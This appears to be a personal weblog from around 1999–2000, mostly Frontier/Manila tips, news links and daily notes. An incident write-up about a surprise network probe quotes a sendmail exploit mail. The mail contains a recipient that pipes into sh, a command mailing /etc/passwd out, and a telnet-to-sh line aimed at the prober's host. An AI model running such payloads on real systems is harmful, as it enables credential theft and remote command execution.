url = pta^.ftpSite^.url + string.mid(url, 2, infinity)
else
url = pta^.ftpSite^.url + url

My site has this code running now, and my relative links appear correct (in other words, I add the site prefix) in the XML.

(Note that I stressed a little about doing the patternMatch for a colon — I didn’t know if that’s a legit test to see whether or not the url includes a protocol prefix or not, since I didn’t know if a colon could be elsewhere in a URL but as a delimiter after the protocol prefix. But according to the RFC on URIs, the colon is a reserved character for just this purpose.)

If you don’t want to muck with Userland’s code (like I don’t), then do what I did — copy the script into another location and edit it there, and then change the script that sits in your site table at xml/scriptingNews2.xml from calling the Userland version to calling your own. Remember that you’ll have to keep your eyes out for updates to the officially-sanctioned version of the script, and roll them into your own as well.

Today, I found an annoying bug in the way that My.Userland parses and displays the XML file that’s generated by a Manila site. I posted a patch to Discuss.Userland to fix it, but was rebuffed (I didn’t know it was inappropriate to offer free help for bug fixes!) — so I now present the patch to you here.

I also found two other big bugs in the way that Manila parses your site to create the XML, and would be happy to provide fixes for those to anyone who wants them for their own personal (or corporate!) Manila servers.

Check out last night’s new feature: in the navbar to the left, click on Referrers. It’ll show you all of the sites that people have found us through. Dynamically-updated, at that!

The referrer logs are great — I just found Brent Simmons’s Manila site (now, I wish that he’d update it more often!), Medley (which has my current favorite X-Files quote in the banner), and What’s On It For Me? (with a great poll currently!).

What a beautifully done website — the Yale Introduction to Cardiothoracic Imaging. I wish I had had this when I was in class and going through my cardiothoracic rotations.

Another interesting converstation in the open source community is taking place on the samba-ntdom list. Samba is a suite that implements Microsoft networking
on Unix boxes; the discussion is about whether or not they should create the ability and hooks that would allow use of the Windows Server Manager to start and stop the services remotely (just as can be done on all Windows boxes that can authenticate against each other).

What’s unsettling to me is that, for the most part, the discussion seemed to end with the idea that only a certain class of people should have the ability to do certain things on Unix — that Windows users aren’t smart enough, or good enough, or whatever, to make the decision to stop and start the samba services on a Unix box. (Even the lone concessionary message throws around anti-Microsoft insults.) The pure ego in these statements just floors me; speaking only for myself, it’s this kind of attitude that works against mindshare for the open source movement.

dave brubeck, the great concerts

Today’s music: Dave Brubeck, The Great Concerts: Amsterdam, Carnegie Hall, Copenhagen. A truly great CD; I heard Brubeck play last Father’s Day at Carnegie Hall, with his son and James Moody. It was awesome, and I’m glad that Brubeck is still going strong.

The last Peanuts daily is online today. (The site’s a little slow, for obvious reasons; in addition, this link will break at some point, since United doesn’t permanently archive the cartoons.)

There’s a particularly clever One Swell Foop from the turn of the year… I kept rereading it and finding something else to giggle at. (Do they archive old OSFs? If not, this link will die when a new one is posted.)

The U.S. Supreme Court has agreed to hear a challenge to the federal law which prevents people from suing their managed care health companies. I truly don’t understand the legal justification for the restriction in the first place; in this article, the CEO of Aetna uses the fact that this is always how it’s been to justify that it makes sense (never a good argument, just as all self-referential ones tend not to be).

ESPN has a nice article about Sean Elliott, the San Antonio Spur small forward who had a kidney transplant from his brother last year just after winning the NBA Championship, and his drive to return to the NBA. He’s just awesome, and I don’t think anyone isn’t wishing him the best of luck.

After comparing the primary process to a blockbuster movie, Warren Beatty has bowed out of potentially running for President this year.

snoopy typing

Today’s the last new daily Peanuts cartoon — catch it in your local paper! (And the official Peanuts site has made arrangements to put the cartoon up tomorrow, instead of their normal 7-days-after schedule.) Note, though, that it’s not like Peanuts is going totally away — from here on, they will run the best strips from the history of the cartoon. Yeah!

New feature: now, in the navigation bar to the left, there’s a link called Referrers. It will take you to a page which lists all of the websites that are referring people here.

From the referrers — I am flattered by Kate Adams’s comments, but I wonder what the JavaScript error she is getting is.

There’s an interesting discussion going on in the linux community. At some point, khttpd — an http server — was added to the linux kernel code. On 12/22/1999, someone asked why a http server was in the kernel (rather than a separate application), and generated a lot of discussion. In the ensuing thread, the only justification for khttpd was that it had good performance and a minor impact on the kernel; on the other side, one person speculated that khttpd was a product of the linux community wanting to respond to perceived FUD from Microsoft; another person speculated that it was a response to the Mindcraft study that showed that linux wasn’t all that great a webserver.

To me, though, it’s funny — when Microsoft added a web browser to the operating system, a lot of fury was generated, much of it by the open source people and their ilk. It would seem to me that the same arguments would work against the decision to add a web server into the linux kernel… but, that’s just my take on it. (Personally, I believe that a web browser in the operating system is A Good Thing, and I also believe that a limited web server in the operating system would be A Good Thing — Dave Winer has been talking about this idea, in some form, for years now.)

I hadn’t realized that the new Darwin Awards had come out — I like one of their choices for the winner, a Palestinian terrorist group who hadn’t changed the timers on their bombs from daylight savings time to standard time, so the bombs went off when they were driving them to their final destination.

Dan Lyke has a hilarious local rant from a few days ago — it involves a Y2K demand that, on face, seemed inappropriate, but it ended up being quite agreeable.

Kwikware has put together a good page with screenshots of many little Y2K glitches on websites worldwide. The funniest: the Auckland Airport, with a Y2K glitch on their page reporting no Y2K glitches.

As of now, Dennis Conner’s Stars & Stripes is the only unbeaten boat in the America’s Cup semifinals. Go S&S!

Happy happy joy joy! The version of Windows 2000 that will ship this month to the MSDN subscribers won’t be date-disabled or user-limited as past versions of Windows NT have been. So, if you want to get Win2K early and have been thinking about signing up with MSDN, sign up now — they are promising that all MSDN membership orders placed by 01/07/2000 will get the Win2K shipment.

I’m bored of people complaining about the delayed release schedule of Windows 2000. If Microsoft had released it in 1998, then people would have been upset about bugs and missing features; if they delay it and work on it, then people complain about how long it takes. Damned if they do, damned if they don’t; I’m just excited to get my hands on it. It looks to be a big step up, at least for things that I do.

Hrrrrmmmm… looks like the gun used (or at least found) in the Sean Combs/Jennifer Lopez NYC nightclub fracas was stolen from Georgia. Why would an uber-successful music mogul either be involved in this, or hang out with people who are?

OK, there’s Y2K hysteria, and then there’s someone who fears the new year so much that he sews his eyes and lips shut.

fireworks in france

The French fireworks on New Year’s Eve were, by far, my favorite — the Eiffel Tower was just awesome.

Charles Schultz’s last daily Peanuts strip will appear in newspapers tomorrow; his last Sunday strip will appear in papers February 13th. :(

Here’s a Peanuts quiz, a site of get-well cards to “Sparky” Schultz, and the Peanuts theme (I’m pretty sure that anyone would recognize this by ear, which is an amazing thing).

I know, we’re all sick of predictions for the next however-long-you-want, but the New York Times has a good list of predicted topics in Internet law for the next year. (As an aside, I don’t like linking to the NYT, since you need to register to view the site, and the pages end up in an archive that you have to pay in order to look at. Bleah.)

hepburn, not hewitt

Ohmygawd — everyone’s favorite little insipid teenybopper, Jennifer Love Hewitt, is going to play Audrey Hepburn in an upcoming ABC movie. I just don’t see it — Audrey Hepburn was one of the most beautiful, talented, and graceful actresses of her time. Hewitt ain’t got nuthin’ on her. (Angered fans of Hepburn have set up a website opposing the decision.)

An interesting MSNBC piece about a Zulu (who are naturally disgusted with seafood) becoming a sushi chef. Interestingly, some Japanese don’t like black sushi chefs… the world still has a ways to go.

The baby that Rae Carruth didn’t want was released from the hospital yesterday. I feel really terrible for this child; mom dead, dad probably going to jail for a long, long, long time — it will be really tough for him.

Great, so now the house from the most overhyped and underwhelming movie of 1999 will be saved. Can’t wait to see what the unidentified party will do with the house…

fireworks

Well, the new year has rung in, and it doesn’t look like a thing happened. Awesome. (Well, some minor inconveniences may have occurred, but…)

The blank calendar in Manila (to the right of this paragraph) looks damn cool. Of course, it will only be blank today…

Phil took along his spiffy Contax G2 to dinner last night, and we’ve got the pictures to prove it.

So, we ate at Emeril’s last night, and from memory, here’s the menu: first, a French oyster with melon sherbert, a lobster cocktail salad, an enormous prawn marinated in something lemony, and Beluga caviar; then, a sea scallop wrapped in dover sole and drenched in a lobster roe sauce; then, a challah french toast with squash flan (laced with pumpkin seed oil) and foie gras, surrounded by caramelized cocktail onions; then, a stuffed breast of pheasant in a wine reduction; then, a mixed grill of venison, wild boar, and magret duck served on a hot rock (literally) with roasted vegetables; then, a cheese plate; and last, a mix of cookies, chocolate, and mousse. Each course came with a different bottle of wine, all of which were amazing. There was a three-piece jazz ensemble playing terrific music, and the whole night was fantastically memorable. (And, we weren’t in Times Square!) Emeril didn’t make an appearance, though…

I said it last week and I’ll say it again now — it’s not right to augment the normal process of birth just because the friggin year is changing.

Thank goodness that Rudy built his special command bunker for the Y2K changeover.

Slate has a very strange article disputing Time Magazine’s choice of Albert Einstein as Person of the Century. The article seems to want to construct a controversy where there was none, and the justifications are just odd to me.

This is just a small Windows Registry file, which provides two different security fixes for Windows NT.

sec19991231.reg

Spent a little time in the French Quarter last night — Cafe Du Monde, Preservation Hall, Maison Bourbon, and lots of drunk Florida State and Virginia Tech students. People will do anything for mardi gras beads…

Jason Kottke pondered an awesome concept yesterday:

Let’s say there’s a huge mirror pointed in our direction located about 300 light years from Earth. If we had a sufficiently powerful telescope, we could aim it at this mirror, see the Earth as it appeared in 1399 A.D. (600 years having passed from the time that light left Earth, travelled the 300 light years to the mirror, and then the 300 light years back), and subsequently watch the Renaissance unfold.

While most of the world is shunning this New Year’s, New Orleans is doing what it always does — enjoying itself.

Yet another attempt at encroaching on the First Amendment, and from the same movie studios that stand behind the First Amendment to justify a lot of the films that they produce. What will be interesting to me is how the courts rule on my right to make a backup copy of a DVD; it would seem to me that the precedent is strongly in favor of being able to do so.

eToys seems to seeing the light, although they are pointedly not dropping the lawsuit against etoy.com, instead “moving away” from it.

SuperDome

We’re now telecom-enabled at the SuperDome — we got a nice new Cisco 3600 router, and have a bunch of ISDN lines breathing life into us. Happy happy joy joy.

Places that I’ve eaten so far in New Orleans, every one of which I recommend highly: Copeland’s (had the shrimp etoufee once, and the shrimp and tasso pasta another time), Casamento’s (had the fried shrimp loaf), and Mother’s (had the shrimp po’boy). We’re going to Emeril’s for New Year’s Eve, and Commander’s Palace for New Year’s Day — this is a gustatory trip, indeed.

Aviation Week’s top space photos of 1999 (not that I’m addicted to spaceflight or anything).

It worries me that there are any doctors who would make a different decision about when to deliver a child based the change into the year 2000. Sigh.

The celebrity treatment given to Jennifer Lopez and Sean Combs (since I refuse to call a grown man “Puffy”) by the press is ridiculous. My favorite quote: “The 29-year-old actress and singer endured a 14-hour ordeal during which she was handcuffed to a bench in a midtown precinct and locked alone in a cell and fingerprinted, police sources said.” If I were taken into custody exactly like this, would it be called an “ordeal” by the newspapers? No, since this is just how the system works. But for a pretty-girl celeb like Lopez, this is just tragic.

CNN has a great recap of the top 10 health-related news stories of 1999, as determined by Health Magazine. They also have links to the CNN stories about each.

I really don’t like the slant of this news story. The headline could just as easily read “Steam fitters community scores coup in Hotmail outage” or “Asian male community scores coup in Hotmail outage”, or, more appropriately, “Nice guy helps Microsoft when they messed up.” News.com just had to make this a Linux-and-Microsoft-together story.

Very strange — ostensible millionaires abandon child with cerebral palsy at hospital. There’s definitely more that we’ll all learn as this plays out.

We’re having connectivity and router problems at the SuperDome today, so no updates… sorry.

louis armstrong

I’m headed out to N’Awlins this morning; updates when I get connectivity up and running down there.

As a morning read: somebody told a lot of HotJobs users that they had interviews with CBS, but they didn’t. A terrible prank.

Einstein

Time Magazine names Albert Einstein as Person of the Century. Great choice, honestly; if you want to read up on the man and his genius, there’s a great online repository of info about Einstein. (I also think that it’s so cool that this man was so smart that his name is used as an instantly-recognized synonym for brilliant, like “He’s such an Einstein!”)

My favorite Einstein quote: “Great spirits have always found violent opposition from mediocre minds.” Close second, a two-way tie: “As far as I’m concerned, I prefer silent vice to ostentatious virtue” and “Only two things are infinite, the universe and human stupidity, and I’m not sure about the former.”

I saw The Talented Mr. Ripley yesterday, and liked it a lot. Very dark and disturbing at times, but it’s meant to be; I thought that the acting was supurb, and the cinematography was awe-inspiring.

I think I really like a new magazine that my brother-in-law turned me on to, Business 2.0. Despite the fact that Jeff Bezos was pretty instrumental to setting it up (and that he’s on the Board of Directors), it has some good content, like this article on the troubled state of e-customer satisfaction.

From Slate, the Bushism of the Week (is this a weekly feature that I didn’t know about?):

“There needs to be debates, like we’re going through. There needs to be town-hall meetings. There needs to be travel. This is a huge country.”

In a move that demonstrates the difference between a hacker and a cracker, hackers are calling for moratorium on hacking over the New Year so that Y2K problems can be identified and fixed.

A little smattering of Y2K-related news: the Federal Reserve has decided to double the amount of on-hand reserves in the banking system this year’s end; the US Patent Office has agreed to a rare review of the Dickens2000 patent (which claims exclusivity on any windowing-based Y2K software fixes); the U.S. organ transplant network is ready for Y2K; and the IRS is accepting Y2K-related excuses for not filing on time (but make sure they’re legit!).

REMEMBER: if you’re worried about Y2K-related viruses on your Windows machine, Microsoft is offering free 90-day trials of most major antivirus applications. (Norton, McAfee, and all the other majors are there.)

Salon’s year-end retrospective on sports, The Hall of Shame, provides pretty good proof that being paid a lot doesn’t turn these guys into automatic paragons of virtue.

The Hubble Space Telescope has been returned to orbit. Exciting stuff!

Happy Holidays and Merry Christmas to everyone! (Or at least those people who celebrate holidays this time of year…)

I won’t be updating the page tomorrow (most likely), so I wanted to wish everyone a safe trip to grandma’s house, or wherever you spend your holidays.

Another good daily diary report from John Grunsfeld, astronaut aboard the Shuttle. From today’s entry:

Inside my space suit I was comfortable, while outside the temperature ranged from -60 to +200 degrees. When we were depressing the airlock from our cabin atmosphere of 10.2 psi to vacuum, small clouds appeared in the airlock as the humidity condensed into water vapor. It made me stop and think for a moment that inside my suit was a habitable atmosphere, with just a few layers of cloth and suit bladder cloth, while outside there was a deadly vacuum.

One of the best musical buys that I have ever made; if you’re looking for a last-minute Christmas present for a special jazz-lover in your life, find this at a local music store today. You will be worshipped.

A good Feed Magazine about the recent spate of Internet lawsuits. It’s a good step-back-look at the logic behind, or the lack thereof.

How can we hope to stem the deluge of unsolicited email when there is a great law banning unsolicited faxes and companies continue to violate it?

I really wanna see Galaxy Quest.

Further supporting the surveys that show most Americans will stay home on New Year’s Eve, party planners and businesses are realizing that demand is much lower than they expected for “the end of the millennium.”

A Pennsylvania cop is accused of paying a 10-year-old Little League pitcher $2 to hit a batter with a pitch. I can’t even begin to think about this guy’s state of mind…

Wow — some guy is swindling tens and hundreds of thousands of dollars from people promising them shares in his infinite free energy machine. There are a lot of people who don’t understand physics out there, and he appears to be preying on every one of them.

shuttle engine glow

Some great Space Shuttle stuff from the past 24 hours — the spacewalk yesterday was the second-longest in US history, and they managed to replace all six of the gyroscopes on Hubble. Today, they’re planning to replace the main computer on the telescope; it will be three linked 486 machines. Here’s CNN’s wrapup of the first EVA; of course, there’s also John Grunsfeld’s daily diary entry, which has beautiful pictures and terrific writing:

Big day for me tomorrow. My first EVA, and my chance to meet the Hubble Telescope up close and personal. As an astronomer I face the day with great excitement, and a little trepidation.

The NY state appellate court overturned the conviction of Oliver Jovanovic yesterday. (Jovanovic is the Columbia University graduate student who allegedly kidnapped and sexually tortured a Barnard College student; the court ruled that explicit email that she had sent to Jovanovic was incorrectly kept out of the trial.)

Bruse Feirstein pens a sentimental tribute to Desmond Llewelyn, the actor who played Q in the Bond film series.

Again, our domain name system demonstrates that it isn’t quite ready for prime time yet (but unfortunately, we’re in prime time now!).

The end of year has been pretty good at InfoWorld. There’s a great Bob Lewis column about how deadlines should not rule your life, Ed Foster’s justification for continuing the battle against spam, and even a Laura Wonnacott article fessing up to major Y2K problems at a magazine that has covered the true impact of the problem for almost a decade.

Interesting — a black bank robber says that racism by white people is what made him insane, and he claims that a white psychologist would not have the “empathy, moral courage and responsibility, as well as the intellectual depth or the peculiar understanding … of the African-American’s unique humanness, sensitivity, and the traumatically acquired psychological aberrations” of white racism.

APBNews has filed a lawsuit against the judges, demanding that the judicial disclosure information actually be disclosed.

A couple of neat e-card websites that I’ve come across over the past couple of months: Corbis has some beautiful photography, and great presentation; Andreas Lindkvist has some awesome ones that he drew himself; and 123 Greetings has standard fare, much like Blue Mountain.

John Rocker, relief pitcher for the Atlanta Braves, appears to be a pretty huge idiot, not to mention a racist, homophobic, xenophobic waste of precious oxygen. (Of course, now that he’s had time to think about it, he regrets the remarks.)

Today, they’re starting to work on Hubble — I didn’t realize that they had cancelled one of the spacewalks, leaving them with just three to get all of the repairs fixed. John Grunsfeld’s daily journal is about the launch:

At two minutes the solid rockets depart, everyone on board breathes a sigh of relief and we start to accelerate on up to orbit. The ride on the main engines is smooth, more like an electric train than the bucking bronco of the solids. Discovery performed flawlessly, without even a burp to put us on edge. Nearing the main engine cutoff, the acceleration is three times gravity, meaning I had the effect of a 600-pound gorilla standing on my chest. Breathing at this acceleration takes some effort.

The Onion’s tips for the new millennium: “Develop the ability to convert sunlight into energy using the chlorophyll in your body.”

Something that’s somewhat troubling to me — the FCC is about to approve Bell Atlantic’s move into long distance. It’s a pretty universal feeling in this city that BA can’t even handle basic local service; dealing with them is more of a hassle than I care to talk about. So letting them expand their service? Doesn’t seem right.

Today, Dan Hartung linked to Faq-O-Matic, a CGI package that lets website admins create and maintain a FAQ on the web. I thought that this was cool for about 0.9 seconds, when it hit me — I’ve got something much cooler, Manila!

Seeing as the pictures were of real teens, Patrick Naughon’s appeal fails. But wait! I, and the judge, were wrong; Naughton is now free… hmmmmmm.

Despite a triple-double from Jason Kidd, the Spurs win an overtime squeaker against Phoenix.

Today, I received a few strange email bounces to my postmaster account for my company (a very large Fortune 100 company), saying that mail had come in addressed to a nonexistent user, but that the return address was also bad, so my mail server couldn’t return them. It turns out that the mails were a part of an unsolicited, and definitely unwelcome, scan of our network; here’s how things played out.

4:49 PM EST: My mail server bounces the group of messages that the individual had sent to the postmaster account (me). Here is one of the messages, with both the perpetrator’s IP address (which is in the header and message) and our mail server name blacked out:

Received: from StPaulie ([*sender's IP*]) by *our server*
          (Post.Office MTA v3.1 release PO203a ID# 0-34084U100L100S0)
          with ESMTP id AAA173
          for <"bin@localhost |tail|sh bin"@localhost>;
          Tue, 21 Dec 1999 16:49:17 -0500
Return-Receipt-To: |foobar
Subject: ISS (This Email does not indicate a vulnerability)
    
# IGNORE THE BELOW MESSAGE.
# testing sendmail remote bug
#!/bin/shcat > /tmp/smail.bad <<EOFSubject: ISS - Sendmail Security Vulnerability Report
Sendmail on the originating host is Vulnerable to Intruders.
Please contact your Vendor for the Newest Sendmail version.
E-mail: <iss@iss.net> for Internet Security Scanner Information.
EOF
cat /tmp/smail.bad /etc/passwd | mail postmaster
( sleep 2 ; echo quit ) | telnet *sender's IP* 5700 | sh >> /tmp/tel.out 2>/tmp/tel.err

All in all, I got two bounces each from our two mail servers.

5:10 PM EST: I checked my mail, picked up the four bounced messages, and immediately did an nslookup, a whois, and a traceroute on the address. I found out that the address belongs to a customer of Verio, a large national ISP; the nslookup did not return a hostname, the whois resolved to a netblock of theirs, and the traceroute terminated on their network. I then went into my mail server logs and verified that the IP address was, in fact, correct; I also did a port scan of the IP address in question, and noticed that port 5700 (the port that the mail message tried to send my password list back to) was open and accepting TCP connections. (In addition, ports 5701, 5702, and 5703 were open.) It appeared to me that someone was running one of the ISS network or machine scanners against my mail servers.

5:15 PM EST: I called Verio’s corporate number, and notified the receptionist that I needed to speak with their security team. I was put in touch with a woman who took down the information and then told me that she was going to get in touch with the security team down in Dallas (where Verio’s Network Operation Center, or NOC, is located). She put me on hold, and then conferenced me in with the head of the team, who was in his car on the way home. He asked me to send the log files and my contact information to the security email account, and once he walked in his front door, he’d call me back.

5:45 PM EST: I checked the log files for our FTP, web, and other servers, and saw that the same address was either benevolently scanning or malevolently attempting to break into every single machine on a segment of our network. It appeared to be the same ISS security suite that was scanning us, on every machine. I called Verio back, and was put on hold to wait for a security technician.

While I was on hold, I was able to determine that the machine was still connected to the Internet, and still had the aforementioned ports open. I also was able to get a great deal of information about the machine, thanks to a bunch of great network information tools that run both on my Windows 98/NT boxes and my Linux box — I was able to get his Windows networking name, the type of operating system he was running, and all of the ports that he had open.

6:05 PM EST: An assistant-type came to the phone, and said that she couldn’t get in touch with any of the security people; she said that she would continue to try, and call me back.

6:20 PM EST: The assistant called me back, and patched in a security technician to the call. I let them know that I was seeing the same security probes on all of my machines. He again had me forward the logs to the security email address, and promised me a call back. While I was on the phone with him, I noted another round of scans against my machines; I also noted that their acceptable use policy (AUP) explicitly prohibits unauthorized access to other computers or networks (as it should), and says that they can shut down any accounts that they become aware of the behavior:

“When Verio becomes aware of harmful communications, however, it may take any of a variety of actions. Verio may remove information that violates its policies, implement screening software designed to block offending transmissions, or take any other action it deems appropriate, including termination of a subscriber’s contract with Verio.”

6:40 PM EST: With no call back, I head out to dinner; I have my beeper, and they know the number.

8:00 PM EST: I return from dinner, without having been paged, with no phone messages, and with a perfunctory email explaining that they are looking into it. I call the contact number that I have, and the person has gone home for the night; I then fall into the general support queue. While on hold, I determine that the machine is still up, that it is still the same machine, and that it has continued to scan my network every 30 to 60 minutes since I last checked.

8:20 PM EST: I give up, and try the corporate number. It tells me to call a different tech support number, and this call is immediately answered. The technician senses that I am slightly perturbed that over three hours have gone by without any action on their part; he puts me on hold while he contacts the NOC.

8:27 PM EST: The technician comes back and tells me that they have left a message on the user’s answering machine (he also accidentally tells me the user’s name and phone number, oops!), and that they have paged the security supervisor. Other than that, they are continuing to “deal with the situation,” and will contact me when they “figure things out.” I explained that I found this unacceptable — that I know that their AUP lets them shut the user down, and the fact that they had not done so, in the face of a very well-documented and unwelcome security probe, was just plain wrong.

I also asked for a call back from someone in the security group ASAP. My options, I explained, were to either allow them to continue to “deal with the problem” or to start the procedure at my end to shut down our network completely to Verio traffic; for all I knew, this was a dialup user, so shutting down a single IP address wouldn’t stop him from coming in on another address when he realized what we had done. He agreed, and told me that this was all “in the case,” so I could expect a call back.

8:50 PM EST: I begin the process of shutting down our network to the Verio network. I call our network support help desk, and had them page the night supervisor for the Internet firewall and router group.

8:53 PM EST: I get a call back from the help desk, asking for the IP address. They explain that they are going to start with that address, and both log and filter all traffic coming from Verio as well; they asked that I maintain the log files that I had, as well.

8:58 PM EST: I receive another batch of bounces from our mail servers; this is the fourth such batch, and they are all from the same IP address as before.

9:11 PM EST: I am no longer able to ping or scan the IP address in question; since I do not have my home connectivity through the office, this is the doing of Verio, not of my firewall and router people.

9:35 PM EST: I still have not heard a word from Verio. At this point, for all I know, I will go into work tomorrow and find machines trashed; my coworker and I decided that we would bring these logs to the corporate legal department, and also to explain that four hours of time went by between when Verio was notified of the security violation and when they started to take action to cut off the customer.

9:41 PM EST: I get an email from the head of the Verio security team; the entirety of the email (nothing has been omitted) is:

I'm looking into this right now.

9:51 PM EST: I get a call from the head of security of Verio, who is at home; he just got off the phone with his staff, who had just spoken with the person who was launching the probe. It turns out that it was a company under contract with our company to provide unannounced security probes; they were a little shocked that we had responded so quickly. I asked if Verio had known this the whole time; they said that they had just determined it. I asked why it took so long to discover this, and why so long had gone by without any communications from them; he said that he would look into it when he went in tomorrow morning.

9:55 PM EST: The on-call network supervisor for my company called me, and after I told him what I was able to find out, he acknowledged that it was a surprise network probe; he was surprised at how quickly we got on top of it, and got all of the networking people involved.

In the end, I am less than impressed at how Verio handled this. As part of my job with this company, I travel all over the United States to transmit electronic data back to New York. I always find a local ISP to use, and frequently have used Verio. The chances of me doing so again are small; their tech support, while in the end getting to the bottom of this, could have done more. If this had been a concerted attack rather than a probe, this would have become a big issue.

Every time I look at the logs of my webservers, I’m amazed at how many webcrawlers are out there, indexing web sites for some search engine or another. But there are definitely parts of my websites that aren’t meant for indexing — dynamically generated statistics that change every minute aren’t worth indexing, and likewise, web cameras probably aren’t worth throwing into a search engine. This is where the Robot Exclusion Protocol comes in; it allows you to create a robots.txt file as part of your website, and well-behaved webcrawlers are supposed to look at this file to determine what not to index.

Using a robots.txt file on your Frontier site

Frontier is an amazing web serving and web content environment, and putting a robots.txt file into your Frontier-generated or -maintained web sites is easy. Since I’m concentrating mostly on how to integrate a robots.txt file into a Frontier web site, I am going to assume from this point on that you know how to write a robots.txt file; if you don’t, it doesn’t really matter, but you can also read the Web Server Administrator’s Guide to the Robot Exclusion Protocol. Additionally, I am focusing here only on mainResponder as the webserver in Frontier, since that’s the current shipping framework. (It’s also much improved over the old webserver, so you should upgrade to it if you’re still running a version of Frontier without it!)

First, let’s start out with the three big requirements of a robots.txt file that are relevant to this discussion:

  1. There can only be one robots.txt file on a website.
  2. The file should be at the root of the website.
  3. The file should be plain text, not HTML.

The first requirement is tricky, insofar as it means on any given base URL you can only have one robots.txt file. So, if you have Frontier serving only one URL (say, my.site.com), you can only have one file total. But if you are using Frontier’s ability to serve multiple virtual domains, then each domain can have its own robots.txt file.

The last two requirements mean that, depending on how you have set up mainResponder or each virtual domain site, there are different ways to include the robots.txt file. The big variable is where a website’s home URL is being served from — for the most part, it can either be from the Guest Databases\www\ directory or from a website table in the Object Database (ODB). Let’s look at both options.

The Guest Databases\www\ directory

This provides the easiest way to include a robots.txt file, since a website that’s serving out of this directory just serves up files as-is. All that you have to do is put a straight text file into the directory; a file like the following will prevent any well-behaved crawler from indexing anything on your site.

User-agent: *
Disallow: /

Now, remember the first rule above — you can only have one robots.txt file on any given website. So, if the base URL for your website is my.site.com, and you have a Manila site at my.site.com/myFirstSite/, you can’t have a robots.txt file at the base of your Manila site (my.site.com/myFirstSite/robots.txt) — webcrawlers won’t look for it there, since that violates the protocol spec. Instead, your robots.txt file at the root of your website can include a section that has specific rules for the directory myFirstSite; read the protocol specs to get the details. (Note that there’s also a robots META tag that you can use on a per-page basis; that’s a topic for a later date.)

Website tables in the ODB

Because of the third requirement above, this is a little trickier. when a site is rendered out of a table, Frontier is good about creating proper HTML; for the robots.txt file, though, you don’t want HTML, you want plain text. This is easily done.

First, create a subtable named #templates at the root of your website table. In this table, create an outline object named robotTemplate. The outline should consist of one line, {bodytext}. (Specifically, there should not be references to the pageHeader or pageFooter macros.)

Next, create a WP Text entry at the root of your website table named robots.txt. The first line of this should be #template “robotTemplate”; the rest should contain your robots.txt information. Again, determine the content that you want in this from the protocol spec. Here’s an example:

#template "robotTemplate"
   
User-agent: *
Disallow: /private/

Now, when the webcrawler requests the robots.txt file, it will get this object; Frontier renders it through the robotTemplate template, so it doesn’t get any HTML formatting. Check it out in your web browser — request the robots.txt file, and look at the page source to verify that there’s no HTML.

Again, remember that this is only useful if the website table is actually being served as the root of a website; if it’s one directory into the website, then webcrawlers won’t look for the file, and it won’t do you any good.

Slept in late this morning, and wow did I need the rest.

If you run a website, you may see a few requests for a file at the root level of your website named robots.txt. These are just well-behaved webcrawlers; the Robot Exclusion Protocol is a way to keep them from getting into parts or all of your website to index them.

A quick Frontier How-To today: Frontier and the Robot Exclusion Protocol. (I don’t know if you noticed, but as I discover or figure out how to do a new thing in Frontier, I’m documenting it, so that I don’t have to relearn it down the road.)

Today, there was a surprise network probe of my other employer; we caught the entire thing in our logs, and I have written up my sketchy dealings with the ISP that hosted the probe.

Here’s an awesome fake memo to Microsoft Office users, ostensibly set after Microsoft loses their antitrust lawsuit. The memo is from the FBIT — the “Federal Bureau of Information Technology.” Genius.

OK, I really had to put this up here — the first MRI images of sexual intercourse. The full British Medical Journal article is here.

Apparently, evil eToys is holding up under what are potentially major denial of service attacks. (The question is, will their specious argument about etoy.com hold up in court?)

It’s true, you can slap a “Millennium” label on anything and market it.

Regarding the huge LA Times controversy surrounding their publication of a Staples Arena “editorial supplement” for which they split ad revenues with Staples Arena: the easiest way to avoid further embroiling people is to publish a painfully long, convoluted report on the matter. I can’t imagine that anyone would read all of this; if there’s a hard conclusion buried in there, nobody will find it.

Because it wouldn’t be a day on Q without Shuttle links: one of the most beautiful pictures of a Shuttle launch I’ve ever seen, astronaut John Grunsfeld is keeping a daily web journal on the mission, and Florida Space Today is keeping a weblog of the mission.

Maybe this explains part of the reason why some kids are terrified of clowns.

Today, I moved my EditThisPage site off of Userland’s server, and onto my own. All in all, it was a phenomenally easy thing to do; that being said, there are a lot of things that I had to think about and do beforehand in order to make it that much easier. This is a quick missive about the process of moving a Manila or EditThisPage site — things to think about while designing the site in the first place, all the way through things that you need to do once the site is on its new foundation.

Quick recap of my introduction to Manila

A few weeks ago, Userland released Frontier 6.1, with a remarkable technology built into it called Manila. (If you don’t know about Manila, I recommend clicking on that last link and reading a little about it.) Very quickly thereafter, they set up EditThisPage, a place where anyone could get a Manila website of their own, and have it hosted for free for 60 days. I had been hearing about Manila from Dave Winer (via Scripting News) and others for a while, so I decided to give it a try — I set up my own site, Q.

Within about three or four hours of playing with my ETP site, I was wowed — effortlessly, I had created what I thought was a nice-looking site, and just as effortlessly, I could edit the contents of that site and build up a remarkably complex hierarchy of content. Seeing that Edit This Page button all over the place made be happy. Using my web browser to edit the look and feel of my website made me even happier. Over the next two weeks, I continued to use my site, updating it regularly, tweaking the look and feel, and remaining shocked at how easy it all was.

I have been running various versions of Frontier since 1.0, and Manila sold me on setting up a server with Frontier 6.1 on it. I wanted to move Q to that site, and thankfully, I was able to do that — on my very first day of playing with Manila, I had asked what would happen if I wanted to take my root file and put it on my own server, and Dave had committed to making that possible. Out of this came the downloadMySite feature of Manila, which lets you download your own site’s entire root file and move it to any Manila server you want.

Downloading my site from ETP

This was painfully simple — I just typed the URL to the downloadMySite feature of my ETP site into my browser’s address bar, http://queso.editthispage.com/downloadMySite/MySite.root, and (so long as I was logged in as a managing editor of the site) along came my site’s root file.

Next, I made sure that my copies of manila.root and mainresponder.root were up-to-date, and I threw my new root file into the Guest Databases\www directory of my new server. (I also renamed the file from MySite.root to q.root.) In Frontier, I opened the root file and then, with it as the selected window, I chose Install Site from the Server menu. When asked for the new URL of the site, I typed q.queso.com; Frontier then did its thing and my site was done. Very cool.

Changing the small things that needed changing

I found that there are some small things that needed to be changed after installing a site that has been downloaded via downloadMySite.

  • User Passwords: when you download your site via downloadMySite, none of your users have passwords anymore (this is by design). Unfortunately, this means that none of your users can log in, including the managing editors. So, you have to go into the #membershipGroup table in your root file, open up the users subtable, and then open each of your users and give them a password. Of course, you next have to post a note on your site telling your users to email you for their new password; they can then change the password by logging in and going back to the Join function. (This is a step that I would love to see Userland eliminate, either by creating these password entries for you or just passing the real passwords along in the root file — after all, only managing editors can download the site.)
